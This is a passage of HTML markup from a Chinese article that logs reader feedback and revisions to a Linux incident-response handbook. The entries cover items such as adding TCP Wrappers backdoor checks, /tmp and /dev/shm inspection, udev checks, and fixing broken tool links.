#ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-08 17:10</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">微信</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">WEBDIR+ 、Webshellkiller 工具链接失效</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已删除</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-08 21:50</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">46. 准备部分添加国产操作系统虚拟机</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0046</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-13 21:10</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">最好准备一些国产系统的虚拟机</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已添加</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-13 21:15</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">47. 添加一个在线病毒分析网站</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0047</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">路人甲</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-13 22:18</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">公众号文章留言</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">添加 cloud.vdnel.cn</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">暂不添加</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-14 21:03</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">网站无法直接使用，域名证书过期，账号注册受阻，暂不适合应急期间使用</span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">48. 添加查找某段时间创建的文件</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0048</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-16 21:09</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">在小技巧 -&gt; 查找特定时间段内的⽂件 章节添加查找某段时间内创建的文件</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已添加</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-16 21:40</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">同时添加了访问、修改属性时间查找文件</span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">49. 全盘搜索文件内容部分 grep 添加 -a 参数</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0049</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-16 21:10</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">全盘搜索文件内容部分 grep 添加 -a 参数</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">暂不添加</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-16 21:45</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">默认就会查询二进制内容是否与查询内容匹配， -a 参数的意义只在于打印出二进制的内容，相信我，别这么干</span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">50. 常规安全检查章节添加 TCP Wrappers 后门排查</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0050</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-16 21:12</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">常规安全检查章节添加 TCP Wrappers 后门排查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已添加</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-16 21:46</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">51. 常规安全检查章节添加敏感目录排查</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0051</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-19 21:06</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">添加 /tmp、/dev/shm 等</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已添加</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2025-02-24 16:00</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">52. 添加 udev 相关检查</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0052</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">megaparsec</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-27 17:33</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">微信</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">添加 udev 相关检查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已添加</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2025-02-26 23:59</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">53. 数据恢复部分文字错误【文字错误】</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0053</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">大道至简</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-28 13:55</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">微信</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">数据恢复部分文字错误</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已完成</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-08-28 21:35:16</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">54. 杀死进程组命令与sudo 不兼容，导致失效</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0054</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">大道至简</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-09-04 16:28</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 